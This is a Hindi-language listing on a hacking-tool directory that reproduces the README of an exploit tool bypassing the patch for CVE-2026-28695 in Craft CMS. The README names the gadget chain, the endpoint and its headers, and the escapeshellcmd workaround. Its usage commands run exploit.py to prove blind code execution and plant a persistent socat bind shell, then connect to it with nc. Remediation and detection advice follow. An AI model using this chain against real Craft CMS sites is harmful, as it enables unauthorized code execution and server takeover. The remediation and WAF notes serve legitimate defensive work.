Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/gbuyssens/cve-2026-28695-craft-rce-bypass
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपोस्ट-शोषणपेनिट्रेशन टेस्टिंगरेड टीमिंगरिमोट एक्सेस टूलपेलोड डेवलपमेंट
GitHub
gbuyssens/cve-2026-28695-craft-rce-bypass

CVE-2026-28695-craft-rce-bypass

Craft CMS में प्रमाणित, **ब्लाइंड** रिमोट कोड एक्ज़ीक्यूशन। CVE-2026-28695 के लिए फिक्स

रिपॉजिटरी देखें
15 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-28695 पैच बायपास — Craft CMS ≤ 5.9.8 प्रमाणित RCE (element-search)

CVSS 3.x : 8.8 HIGH   (लगभग — सत्यापित करें)
CWE      : CWE-502 (असुरक्षित ऑब्जेक्ट इंस्टैंशिएशन) + CWE-1336 (SSTI मूल)
आधार    : CVE-2026-28695  (create() + Symfony Process के माध्यम से SSTI)
फिक्स    : सलाहकार फिक्स e31e508 (create() को BaseObject तक सीमित करता है) — यहाँ बायपास किया गया
प्रभावित: Craft CMS ≤ 5.9.8 जिसमें CVE-2026-28695 फिक्स लागू है

Craft CMS में प्रमाणित, ब्लाइंड रिमोट कोड एक्ज़ीक्यूशन। CVE-2026-28695 का आधिकारिक फिक्स केवल create() को yii\base\BaseObject सबक्लास तक सीमित करता है। yii\behaviors\AttributeTypecastBehavior गैजेट एक BaseObject है, फिर भी यह call_user_func() सिंक तक पहुँचता है, इसलिए यह फ़िल्टर से बच जाता है। गैर-Twig admin/actions/element-search/search एक्शन के माध्यम से डिलीवर किया जाता है, यह CRAFT_ENABLE_TWIG_SANDBOX को भी बायपास कर देता है। एक Content Editor खाता पर्याप्त है।


विषय-सूची

  • भेद्यता सारांश
  • 5.9.8 पर CVE-2026-28695 PoC क्यों मृत है
  • बायपास (गैजेट चेन)
  • escapeshellcmd बाधा
  • हमला श्रृंखला
  • प्रभावित संस्करण
  • यह रिपॉज़िटरी
  • उपयोग
  • उपचार
  • संदर्भ

भेद्यता सारांश

Craft का element-search कंट्रोलर हमलावर JSON को Yii के Craft::createObject() / Instance मशीनरी के माध्यम से लाइव PHP ऑब्जेक्ट में डीसेरियलाइज़ करता है। एक AttributeTypecastBehavior संलग्न करके जिसका attributeTypes एक एट्रिब्यूट को कॉल करने योग्य [Psy\Readline\Hoa\ConsoleProcessus, execute] पर मैप करता है और beforeSave इवेंट को फायर करके, टाइपकास्ट बन जाता है:

call_user_func([Psy\Readline\Hoa\ConsoleProcessus, "execute"], "<CMD>")

एंडपॉइंट हमेशा HTTP 500 का जवाब देता है और कोई कमांड आउटपुट नहीं लौटाता — निष्पादन ब्लाइंड है।


5.9.8 पर CVE-2026-28695 PoC क्यों मृत है

  • CVE-2026-28695 = create() + Symfony Process के माध्यम से SSTI, जो एक Twig सिंक (आमतौर पर Entry Types → Title Format) से पहुँचा जाता है।
  • 5.9.8 पर फिक्स कमिट e31e508 create() को BaseObject सबक्लास तक सीमित करता है, और लक्ष्य CRAFT_ALLOW_ADMIN_CHANGES=false (settings → 403) और CRAFT_ENABLE_TWIG_SANDBOX=true के साथ भी चलता है। प्रलेखित वेक्टर तिहरा-बंद है।
  • सबक: सटीक संस्करण का फिक्स कमिट के विरुद्ध सामना करें, CVE नाम पर फायर न करें। यहाँ फिक्स तैनात बिल्ड से पुराना है → कच्चे PoC के बजाय फ़िल्टर बायपास की तलाश करें।

बायपास (गैजेट चेन)

yii\behaviors\AttributeTypecastBehavior  ->  Psy\Readline\Hoa\ConsoleProcessus::execute

निर्माण द्वारा दोहरा बायपास:

  1. सैंडबॉक्स — element-search एक PHP ऑब्जेक्ट पथ है, नहीं एक Twig रेंडर। CRAFT_ENABLE_TWIG_SANDBOX केवल टेम्पलेट इंजन को गेट करता है, इसलिए यह कभी लागू नहीं होता।
  2. पैच — फिक्स create() को BaseObject तक सीमित करता है। AttributeTypecastBehavior → yii\base\Behavior → yii\base\BaseObject, इसलिए यह नई बाधा को संतुष्ट करता है जबकि अभी भी एक निष्पादन सिंक प्रदान करता है। फिक्स क्लासों के एक परिवार को बंद करता है, न कि BaseObject क्लास को।

एंडपॉइंट:

POST /index.php?p=admin/actions/element-search/search
X-CSRF-Token: <dashboard csrf>
X-Requested-With: XMLHttpRequest
Accept: application/json

escapeshellcmd बाधा

Hoa\ConsoleProcessus::execute() कमांड को escapeshellcmd() के माध्यम से चलाता है:

  • निष्क्रिय: | && ; > < $() ' " → कोई चेनिंग नहीं, कोई पाइप नहीं, कोई रीडायरेक्शन नहीं, कोई क्लासिक bash रिवर्स शेल नहीं।
  • पास होता है: : , /
  • परिणाम: एक बाइनरी + आर्ग्युमेंट, कोई शेल मेटाकैरेक्टर नहीं।

यही कारण है कि पेलोड एक एकल socat TCP-LISTEN,fork EXEC बाइंड शेल है (आर्ग्युमेंट : / , / / में) न कि रिवर्स शेल।


हमला श्रृंखला

   Attacker (Content Editor)                Craft CMS 5.9.8
        |                                        |
        |  GET /admin/login  (scrape CSRF)       |
        |--------------------------------------->|
        |  POST users/login (jenny:******)       |
        |--------------------------------------->|
        |  GET /admin/dashboard (JS csrf)        |
        |<---------------------------------------|
        |  POST element-search/search            |
        |    AttributeTypecastBehavior gadget    |
        |    typecastBeforeSave = "<CMD>"        |
        |--------------------------------------->|  call_user_func(
        |  HTTP 500  (blind, no output)          |    [ConsoleProcessus,execute], CMD)
        |<---------------------------------------|  -> escapeshellcmd(CMD) -> exec
        |                                        |
        |  oracle: "sleep 5" -> +~5s latency     |
        |  shell:  socat TCP-LISTEN:4445 bind     |

प्रभावित संस्करण

स्थितिसंस्करण
भेद्यCraft CMS ≤ 5.9.8 CVE-2026-28695 फिक्स के साथ
नोटगैजेट को एक प्रमाणित CP सत्र की आवश्यकता है

यह रिपॉज़िटरी

फ़ाइलभूमिका
exploit.pyPoC: लॉगिन → टाइमिंग-ओरेकल जाँच → एकल cmd → बाइंड शेल
README.mdयह फ़ाइल

उपयोग

requests की आवश्यकता है (pip install requests)।

# 1. Prove code execution (timing oracle: sleep 5 must add ~5s)
python3 exploit.py http://example.lab --check

# 2. Fire a single blind command (one binary + args, no metachars)
python3 exploit.py http://example.lab "sleep 5"

# 3. Plant a persistent bind shell as the web user, then connect
python3 exploit.py http://example.lab --bind 4445
nc IP or exemple.lab 4445

# custom creds
python3 exploit.py http://exemple.lab -u User -p 'SecureP4$$!' --bind

क्या होता है:

  1. लॉगिन CSRF स्क्रैप करें, CP में प्रमाणित करें, डैशबोर्ड एक्शन CSRF प्राप्त करें।
  2. AttributeTypecastBehavior गैजेट को element-search पर भेजें।
  3. --check इंजेक्टेड लेटेंसी द्वारा ब्लाइंड एक्ज़ीक्यूशन साबित करता है; --bind एक socat लिसनर छोड़ता है।

उपचार

  1. Craft CMS को ऐसे रिलीज़ में अपग्रेड करें जो सभी डीसेरियलाइज़्ड इनपुट पथों पर ऑब्जेक्ट इंस्टैंशिएशन को सीमित करता है (केवल create() नहीं), और element-search कंडीशन हैंडलिंग का ऑडिट करें।
  2. CRAFT_ALLOW_ADMIN_CHANGES=false रखें और Content Editor विशेषाधिकारों को न्यूनतम करें — यहाँ प्रमाणीकरण ही एकमात्र पूर्व शर्त है।
  3. बंडल किए गए psy/psysh (Hoa) निर्भरता को हटाएँ/अपग्रेड करें जहाँ ConsoleProcessus::execute गैजेट पहुँच योग्य हो।
  4. WAF/टेलीमेट्री: element-search/search बॉडीज़ पर अलर्ट करें जिनमें __class, as rce, या AttributeTypecastBehavior हो; उस एक्शन से HTTP 500 के बर्स्ट को फ्लैग करें।

संदर्भ

  • NVD — CVE-2026-28695 (आधार SSTI)
  • Craft CMS फिक्स कमिट e31e508 (create() → BaseObject प्रतिबंध)
  • Yii AttributeTypecastBehavior / yii\base\Security दस्तावेज़

अस्वीकरण

यह प्रोजेक्ट केवल अधिकृत सुरक्षा परीक्षण, शिक्षा, और रक्षात्मक अनुसंधान के लिए है। लागू कानूनों और अपनी प्रयोगशाला या क्लाइंट के एंगेजमेंट नियमों का पालन करने की ज़िम्मेदारी आपकी है।

टूल डाउनलोड करें